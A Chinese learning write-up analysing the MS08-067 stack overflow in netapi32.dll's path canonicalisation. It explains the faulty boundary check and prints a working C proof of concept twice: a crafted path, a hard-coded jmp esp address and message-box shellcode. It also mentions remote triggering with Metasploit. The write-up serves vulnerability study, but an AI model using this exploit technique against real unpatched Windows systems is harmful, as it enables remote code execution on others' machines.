前言
最近开始学习漏洞分析相关内容,完成对Windows相关安全机制的学习后,便是寻找实例进行练习,这是第二个实例分析
MS08-067是另一个经典的栈溢出漏洞,原理依然很好理解
在此分享一下自己的分析过程,希望对同样是漏洞分析新手的同学有所帮助
漏洞介绍
官方公告:Microsoft 安全公告 MS08-067 - 严重 | Microsoft Docs
漏洞简述
- 漏洞名称:MS08-067
- 漏洞编号:CVE-2008-4250
- 漏洞类型:栈溢出
- 漏洞影响:远程代码执行
- CVSS评分:9.8
- 利用难度:Medium
- 利用方式:远程
漏洞利用
MS08-067是继MS06-040之后又一个可以利用的RPC漏洞,在MS06-040的漏洞分析中,漏洞存在于netapi32.dll的导出函数NetpwPathCanonicalize在处理字符串时出现了错误,导致了栈溢出,2年后的MS08-067依然是这个函数出现了错误导致了栈溢出
在netapi32.dll的NetpwPathCanonicalize函数调用时会调用CanonicalizePathName函数,对远程访问路径进行规范化:
- 将
/
改成\
- 去掉相对路径
.\
和..\
通过构造合适的路径,可以在对第2条进行规范化的实现中RemoveLegacyFloder发生了栈溢出,可以造成RCE,栈溢出覆盖最终会覆盖wcscpy的返回地址,该函数没有GS保护,但可用shellcode空间大小有限
漏洞影响
根据msf的exp可以确定被攻击的操作系统版本:Windows 2000、2003 SP0\SP1\SP2、XP SP0/SP1/SP2/SP3
漏洞分析
复现环境
- Windows XP SP3 Chinese
- VC++6.0
- x86dbg和OD
- IDA Pro 7.5
漏洞成因
漏洞产生于netapi32.dll,问题发生其导出函数NetpwPathCanonicalize内部规范化远程路径的子函数CanonicalizePathName中的RemoveLegacyFolder里,由于向上遍历\
字符时,缓冲区安全边界检查不合理导致遍历到\
时,该字符的地址出现在缓冲区外部,经过wcscpy造成栈溢出覆盖返回地址
静态分析
漏洞出现在和MS06-040相同的函数里:MS06040因为缓冲区安全检查判断大小编写有问题导致栈溢出,在Windows XP SP3已经得到了修复:
在拼接完成Perfix和path之后,会对路径进行规范化处理:
- 会把路径中所有的
/
都换成\
- 把
\..\
,.\
进行处理,移除经典路径
这里出问题的函数就是做第二步的函数,函数的参数是拼接完成的路径
函数内部首先从缓冲区首地址里把第一个字符取出来,比对看是不是\
或者/
是的话,就会进入跳转:
跳转过来判断下一个字符,如果不是\
就跳转走:
如果也不是/
则接着跳转:
这里就循环去找下一个\
或者.
,此时的esi应该就是个指针(p1)用来遍历的
当找到\
的时候:
这里会取之前的一个字符赋值给ebx,ebx也算是个指针(p2)
这里是跳转过来给三个指针赋了一下值,然后接着进行跳转回去再次循环找\
和.
了
当找到.
的时候:
首先判断当前字符的上一个字符是不是\
,然后判断下一个字符是不是.
以及再下一个字符是不是\
,实际上就是判断当前指向的字符是不是\..\
,如果是,则把第二个\
开始的内容复制到上一个\
的位置,通过wcscpy进行复制
复制完成之后,就把\..\
给移去了,原理图(来自参考资料[1]):
在这复制完成之后,指针指向的位置乱了,P3指向了当前搜索的最新的\
,P1P2指向了无意义的地方,这里需要重新找到这三个指针应该在的位置:P3指向前一个\
,P1指向最新的\
:
这里首先是修复了P1,P2会在P1找到指定字符的时候设置
然后紧接着比对P3上一个字符是不是\
,向前循环寻找\
,直到找到\
为止,然后再次循环寻找下一个需要恢复的经典地址
在向前移动指针寻找\
的时候,会进行地址的合法性校验,这里校验使用的是jz指令,是检验指针地址等于缓冲区首地址的时候进行跳出,当地址出现这种情况的时候:
\..\..\aaa\bbb\ccc
则指针一开始就位于缓冲区左边了,无论循环多少次都不可能被校验出问题来
如果校验条件改为jbe指令(小于等于),则就不存在这个问题了
当循环结束,在变量的缓冲区外面找到一个\
的时候,下次wcscpy时,就会把东西都复制到外头去,如果会循环的时候会路过返回地址,则刚好能给覆盖掉,存在利用的可能
成功溢出的条件:
- 向前搜索
\
时越过缓冲区首地址
- 合并路径中至少存在两个连续的
..\
- 合并路径中第二个
..\
后有足够多的字符能够覆盖返回地址
动态分析
Poc代码
代码来自参考资料[1],对本实验环境来说需要进行修改,修改见下文描述
#include <windows.h>
#include <stdio.h>
typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);
// address of jmp esp
//xp sp3 chinese
#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"
//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{
WCHAR path[256] = { 0 };
WCHAR can_path[256] = { 0 };
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(L".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
//112 => 109
wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
wcscat(path, (const wchar_t*)JMP_ESP);
wcscat(path, (const wchar_t*)SHELL_CODE);
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
调试分析
对漏洞函数下断点,然后执行观察流程:
首先会遍历路径去寻找\
,然后跳转去保存该\
的地址,接着遍历下一个字符
下一个字符是.
也会被命中,会进入另一个跳转:
跳转去处理\..\
路径了,这里构造的路径开头是:\aaa\..\..\bbbb
,就会变成如图所示的:\..\bbbb
,接下来会进行跳转去修正指针esi和edi的位置
在修正过程中,第一次安全检查就如静态分析的一样,地址直接出现在了缓冲区首地址的前面
当找到\
的时候:
地址在0x12F25E,距离当前还很远,我们能够利用的缓冲区大小可没有这么大
遇到了个问题:如何让上一个\
出现在接近栈顶的位置呢?
尝试了各种修改项目设置,最后发现,用VC++6.0编译即可直接满足要求
用VC++6.0重新编译后,运行到这里:
\
的位置是0x12F5FA,返回地址的位置是0x12F6FC,距离是:0x12F6FC - 0x12F5FA = 0x102
输入的路径可以达到这个大小
第一次调用wcscpy会让前面的aaa消失,第二次调用的时候,会覆盖栈,因为wcscpy是函数调用,所以会在wcscpy函数中覆盖返回地址,通过该函数的返回地址跳转去shellcode,而且该函数没有GS保护
第二次复制的时候进入wcscpy观察栈的情况:
刚刚那个poc代码中的路径长度不够,需要再加12个宽字符才能成功覆盖返回地址
解释一下ROP的构造(虽然代码是网上copy的,但还是能看懂的):
因为wcscpy会造成栈溢出,导致返回地址被覆盖,也就是说esp往后的内容都是可控的
所以需要通过ret跳转到一个能直接jmp esp的地方,然后直接jmp esp就能直接让执行流回到栈上来,所以这里的Shellcode构造思路很简单,路径+jmp esp地址+ shellcode
修改后的Poc代码
修改poc代码:
#include <windows.h>
#include <stdio.h>
typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);
// address of jmp esp
//xp sp3 chinese
#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"
//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{
WCHAR path[256] = { 0 };
WCHAR can_path[256] = { 0 };
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibraryA(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
//112 => 109
wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccccccdddddd");
wcscat(path, (const wchar_t*)JMP_ESP);
wcscat(path, (const wchar_t*)SHELL_CODE);
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
直接运行:
成功弹窗,shellcode执行成功
远程调试
这一块内容主要参考参考资料[2]
该服务允许在svchost.exe进程中,通过wmic命令找到该进程的参数:
wmic process where caption="svchost.exe" get caption,handle,commandline
这个参数是-k netsvcs
的进程就是我们要找的进程
打开OD(默认配置的x86dbg附加不了),附加该进程,在导出函数NetpwPathCanonicalize上下断点
打开kali,选择08067的利用,设置好ip,run,即可触发断点进行调试,调试过程和本地调试一样,具体内容见参考资料[2]
参考资料